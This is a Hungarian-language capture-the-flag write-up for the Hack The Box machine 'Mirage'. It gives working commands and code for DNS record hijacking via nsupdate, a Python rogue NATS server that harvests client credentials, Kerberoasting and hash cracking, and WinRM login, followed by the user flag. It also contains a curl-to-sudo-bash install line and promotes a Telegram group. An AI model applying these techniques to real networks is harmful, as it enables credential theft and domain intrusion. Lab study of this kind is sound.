Mirage - Hack The Box
Platform: Windows
IP: 10.129.241.132
Difficulty: Hard
Author: NoSec
🚨 Kövess élőben HTB-n — leakek, dropok és mély writeupok
👉 t.me/nosecpwn
Ne olvasd. Csatlakozz.
Recon
nmap -sVC mirage.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-22 16:39 CEST
Stats: 0:01:57 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.28% done; ETC: 16:41 (0:00:01 remaining)
Nmap scan report for mirage.htb (10.129.241.132)
Host is up (0.12s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-22 14:39:55Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-07-22T14:40:43
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.40 seconds
NFS Share Felfedezése és Mountolása
Megtalált NFS megosztás mountolása:
showmount -e mirage.htb
sudo mount -t nfs mirage.htb:/MirageReports /mnt
Majd másoljuk át a fájlokat saját mappánkba:
sudo cp /mnt/Incident_Report_Missing_DNS_Record_nats-svc.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo cp /mnt/Mirage_Authentication_Hardening_Report.pdf /home/noname/Asztal/HTB_TMH/HTB_Mirage
sudo chown <your_user>:<your_user> Incident_Report_Missing_DNS_Record_nats-svc.pdf Mirage_Authentication_Hardening_Report.pdf
Fontos Környezeti Információk (PDF-ből)
A PDF-ekből nyert információk:
- NTLM tiltva van, kizárólag Kerberos működik.
- Hiányzik a DNS rekord a
nats-svc.mirage.htb
hosztnévhez.
Ez azt jelenti, hogy NTLM-alapú támadások kizárva, csak Kerberos-alapú eszközöket használhatunk.
Kerberos Beállítása
Állítsuk be a Kerberos configot (krb5.conf
):
[libdefaults]
default_realm = MIRAGE.HTB
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
fcc-mit-ticketflags = true
[realms]
MIRAGE.HTB = {
kdc = 10.129.241.132
admin_server = 10.129.241.132
}
DNS Hijacking előkészítése
Készítsük elő a DNS rekord módosítását:
nano dns.txt
Majd írjuk bele:
server 10.129.241.132
zone mirage.htb
update delete nats-svc.mirage.htb A
update add nats-svc.mirage.htb 60 A <YOUR_IP>
send
Hamis NATS Szerver Indítása (Credentials Capture)
Indítsuk el a hamis NATS szervert, ami elkapja a belépési adatokat:
#!/usr/bin/env python3
import socket
import threading
import json
from datetime import datetime
class HamisNATSSzerver:
def __init__(self, cim='0.0.0.0', port=4222):
self.cim = cim
self.port = port
self.aktiv = False
self.kliens_lista = []
def naploz(self, szoveg):
ido = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"[{ido}] {szoveg}")
def kezeld_klienst(self, kapcsolat, cim):
self.naploz(f"🔌 Új kapcsolat: {cim[0]}:{cim[1]}")
try:
# Küldjünk egy 'INFO' üzenetet, mintha igazi NATS szerver lennénk
info = {
"server_id": "hun-fake-nats",
"version": "2.9.0",
"proto": 1,
"host": self.cim,
"port": self.port,
"max_payload": 1048576,
"client_id": len(self.kliens_lista)
}
kapcsolat.send(f"INFO {json.dumps(info)}\r\n".encode())
self.naploz("📤 INFO elküldve a kliensnek")
while self.aktiv:
try:
adat = kapcsolat.recv(4096)
if not adat:
break
bejovo = adat.decode('utf-8', errors='ignore').strip()
self.naploz(f"📨 Bejövő üzenet: {repr(bejovo)}")
sorok = bejovo.split('\r\n')
for sor in sorok:
if sor:
self.parseld_uzenet(sor, cim)
kapcsolat.send(b"+OK\r\n")
except socket.timeout:
continue
except Exception as hiba:
self.naploz(f"Hiba a kliensnél {cim}: {hiba}")
break
except Exception as altalanos:
self.naploz(f"Kapcsolódási hiba: {altalanos}")
finally:
self.naploz(f"❌ Kapcsolat bontva: {cim[0]}:{cim[1]}")
kapcsolat.close()
if kapcsolat in self.kliens_lista:
self.kliens_lista.remove(kapcsolat)
def parseld_uzenet(self, sor, cim):
"""NATS protokoll üzenetek feldolgozása"""
par = sor.split(' ', 1)
parancs = par[0].upper() if par else ''
if parancs == 'CONNECT':
try:
adat_json = par[1] if len(par) > 1 else '{}'
adatok = json.loads(adat_json)
self.naploz(f"🔐 CONNECT - {json.dumps(adatok, indent=2)}")
# Lehetséges érzékeny infók logolása
if 'user' in adatok:
self.naploz(f"🎯 FELHASZNÁLÓNÉV: {adatok['user']}")
if 'pass' in adatok:
self.naploz(f"🎯 JELSZÓ: {adatok['pass']}")
if 'auth_token' in adatok:
self.naploz(f"🎯 TOKEN: {adatok['auth_token']}")
if 'sig' in adatok:
self.naploz(f"🎯 ALÁÍRÁS: {adatok['sig']}")
if 'jwt' in adatok:
self.naploz(f"🎯 JWT: {adatok['jwt']}")
except json.JSONDecodeError:
self.naploz(f"⚠️ Hibás CONNECT formátum: {sor}")
elif parancs == 'SUB':
self.naploz(f"📥 Feliratkozás: {sor}")
elif parancs == 'PUB':
self.naploz(f"📤 Publikálás: {sor}")
elif parancs == 'PING':
self.naploz("🏓 PING kapva")
elif parancs == 'PONG':
self.naploz("🏓 PONG kapva")
elif parancs == 'MSG':
self.naploz(f"📬 Üzenet: {sor}")
else:
self.naploz(f"❓ Ismeretlen parancs: {sor}")
def indit(self):
self.aktiv = True
szerver_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
szerver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
szerver_socket.bind((self.cim, self.port))
szerver_socket.listen(5)
self.naploz(f"🚀 Hamis NATS szerver fut: {self.cim}:{self.port}")
self.naploz("🧲 Várakozás kapcsolatokra...")
while self.aktiv:
try:
kliens_conn, kliens_cim = szerver_socket.accept()
kliens_conn.settimeout(30)
self.kliens_lista.append(kliens_conn)
szal = threading.Thread(target=self.kezeld_klienst, args=(kliens_conn, kliens_cim))
szal.daemon = True
szal.start()
except socket.error as err:
if self.aktiv:
self.naploz(f"⚠️ Socket hiba: {err}")
except Exception as alt:
self.naploz(f"🔥 Szerverhiba: {alt}")
finally:
szerver_socket.close()
self.naploz("🛑 Szerver leállt.")
def leallit(self):
self.aktiv = False
for k in self.kliens_lista:
k.close()
def main():
szerver = HamisNATSSzerver()
try:
szerver.indit()
except KeyboardInterrupt:
print("\n[+] Kilépés, szerver leállítása...")
szerver.leallit()
if __name__ == "__main__":
print("🎭 Hamis NATS Szerver - Hozzáférési adat csapda")
print("=" * 60)
main()
python nats.py
🎭 Hamis NATS Szerver - Hozzáférési adat csapda
============================================================
[2025-07-22 17:04:20] 🚀 Hamis NATS szerver fut: 0.0.0.0:4222
[2025-07-22 17:04:20] 🧲 Várakozás kapcsolatokra...
[2025-07-22 17:04:26] 🔌 Új kapcsolat: 10.129.241.132:61370
[2025-07-22 17:04:26] 📤 INFO elküldve a kliensnek
[2025-07-22 17:04:27] 📨 Bejövő üzenet: 'CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7*******","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":false,"no_responders":false}\r\nPING'
[2025-07-22 17:04:27] 🔐 CONNECT - {
"verbose": false,
"pedantic": false,
"user": "Dev_Account_A",
"pass": "hx5h7******",
"tls_required": false,
"name": "NATS CLI Version 0.2.2",
"lang": "go",
"version": "1.41.1",
"protocol": 1,
"echo": true,
"headers": false,
"no_responders": false
}
[2025-07-22 17:04:27] 🎯 FELHASZNÁLÓNÉV: Dev_Account_A
[2025-07-22 17:04:27] 🎯 JELSZÓ: hx5h7*******
[2025-07-22 17:04:27] 🏓 PING kapva
[2025-07-22 17:04:27] ❌ Kapcsolat bontva: 10.129.241.132:61370
^C[2025-07-22 17:05:32] 🛑 Szerver leállt.
[+] Kilépés, szerver leállítása...
Credentials megszerzése
Ha minden jól ment, elfogjuk a hitelesítő adatokat:
FELHASZNÁLÓNÉV: Dev_Account_A
JELSZÓ: hx5h7F5*******
NATS CLI használata
Telepítsük a natscli
-t és ellenőrizzük a NATS szervert:
curl -sSL https://raw.githubusercontent.com/upciti/wakemeops/main/assets/install_repository | sudo bash
sudo apt update
sudo apt install natscli
nats stream ls --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'
Hozzunk létre egy "consumer"-t:
nats consumer add auth_logs reader --pull --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'
Beállítások:
- Start policy: all
- Acknowledgment policy: explicit
- Replay policy: original
- Deliver headers only: No
Kérjük le az üzeneteket:
nats consumer next auth_logs reader --count=5 --server nats://mirage.htb:4222 --user Dev_Account_A --password 'hx5h7******'
Megkapjuk:
{"user":"david.jjackson","password":"pN8kQ******","ip":"10.10.10.20"}
Kerberos Ticket Granting Ticket (TGT) szerzése
Kérjünk TGT-t:
impacket-getTGT mirage.htb/david.jjackson:'pN8kQ*******'
export KRB5CCNAME=david.jjackson.ccache
Enumeráljuk az SPN-eket és TGS ticketeket:
impacket-GetUserSPNs -k -no-pass -dc-host dc01.mirage.htb mirage.htb/ -request
Törjük fel a hasht Johnnal:
john nathan.txt --wordlist=/usr/share/wordlists/rockyou.txt
Kapott jelszó:
3ed******
Bejelentkezés WinRM-en
Kérjünk TGT-t Nathan Aadam fiókkal:
impacket-getTGT mirage.htb/nathan.aadam:'3ed******'
export KRB5CCNAME=nathan.aadam.ccache
Belépés:
evil-winrm -i dc01.mirage.htb -r mirage.htb
User Flag megszerzése
Listázzuk ki a flaget:
*Evil-WinRM* PS C:\Users\nathan.aadam\Desktop> ls
Directory: C:\Users\nathan.aadam\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/4/2025 1:01 PM 2312 Microsoft Edge.lnk
-ar--- 7/22/2025 5:55 AM 34 user.txt
✅ User flag megszerezve!
🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív a Season 8-ban.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn